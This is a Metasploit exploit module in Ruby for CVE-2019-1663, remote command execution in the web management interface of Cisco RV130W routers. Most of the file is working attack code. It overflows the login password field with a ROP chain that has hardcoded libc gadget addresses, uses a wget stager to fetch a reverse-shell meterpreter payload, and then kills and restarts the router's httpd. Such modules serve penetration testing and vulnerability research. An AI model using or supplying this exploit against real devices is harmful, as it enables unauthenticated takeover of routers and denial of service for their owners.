Cisco RV130W Routers Management Interface Remote Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
# linux/armle/meterpreter/bind_tcp -> segfault  
# linux/armle/meterpreter/reverse_tcp -> segfault  
# linux/armle/meterpreter_reverse_http -> works  
# linux/armle/meterpreter_reverse_https -> works  
# linux/armle/meterpreter_reverse_tcp -> works  
# linux/armle/shell/bind_tcp -> segfault  
# linux/armle/shell/reverse_tcp -> segfault  
# linux/armle/shell_bind_tcp -> segfault  
# linux/armle/shell_reverse_tcp -> segfault  
#  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Cisco RV130W Routers Management Interface Remote Command Execution',  
'Description' => %q{  
A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router  
could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.  
  
The vulnerability is due to improper validation of user-supplied data in the web-based management interface.  
An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.  
  
A successful exploit could allow the attacker to execute arbitrary code on the underlying operating  
system of the affected device as a high-privilege user.  
  
RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.  
  
Note: successful exploitation may not result in a session, and as such,  
on_new_session will never repair the HTTP server, leading to a denial-of-service condition.  
},  
'Author' =>  
[  
'Yu Zhang', # Initial discovery  
'Haoliang Lu', # Initial discovery  
'T. Shiomitsu', # Initial discovery  
'Quentin Kaiser <[email protected]>' # Vulnerability analysis & exploit dev  
],  
'License' => MSF_LICENSE,  
'Platform' => %w[linux],  
'Arch' => [ARCH_ARMLE],  
'SessionTypes' => %w[meterpreter],  
'CmdStagerFlavor' => %w{ wget },  
'Privileged' => true, # BusyBox  
'References' =>  
[  
['CVE', '2019-1663'],  
['BID', '107185'],  
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'],  
],  
'DefaultOptions' => {  
'WfsDelay' => 10,  
'SSL' => true,  
'RPORT' => 443,  
'CMDSTAGER::FLAVOR' => 'wget',  
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',  
},  
'Targets' =>  
[  
[ 'Cisco RV130/RV130W < 1.0.3.45',  
{  
'offset' => 446,  
'libc_base_addr' => 0x357fb000,  
'system_offset' => 0x0004d144,  
'gadget1' => 0x00020e79, # pop {r2, r6, pc};  
'gadget2' => 0x00041308, # mov r0, sp; blx r2;  
'Arch' => ARCH_ARMLE,  
}  
],  
],  
'DisclosureDate' => 'Feb 27 2019',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [ CRASH_SERVICE_DOWN, ],  
},  
))  
end  
  
def p(offset)  
[(target['libc_base_addr'] + offset).to_s(16)].pack('H*').reverse  
end  
  
def prepare_shellcode(cmd)  
#All these gadgets are from /lib/libc.so.0  
shellcode = rand_text_alpha(target['offset']) + # filler  
p(target['gadget1']) +  
p(target['system_offset']) + # r2  
rand_text_alpha(4) + # r6  
p(target['gadget2']) + # pc  
cmd  
shellcode  
end  
  
def send_request(buffer)  
begin  
send_request_cgi({  
'uri' => '/login.cgi',  
'method' => 'POST',  
'vars_post' => {  
"submit_button": "login",  
"submit_type": "",  
"gui_action": "",  
"wait_time": 0,  
"change_action": "",  
"enc": 1,  
"user": rand_text_alpha_lower(5),  
"pwd": buffer,  
"sel_lang": "EN"  
}  
})  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")  
end  
end  
  
def exploit  
print_status('Sending request')  
execute_cmdstager  
end  
  
def execute_command(cmd, opts = {})  
shellcode = prepare_shellcode(cmd.to_s)  
send_request(shellcode)  
end  
  
def on_new_session(session)  
# Given there is no process continuation here, the httpd server will stop  
# functioning properly and we need to take care of proper restart  
# ourselves.  
print_status("Reloading httpd service")  
reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S"  
if session.type.to_s.eql? 'meterpreter'  
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'  
session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\""  
else  
session.shell_command(reload_httpd_service)  
end  
ensure  
super  
end  
end  
`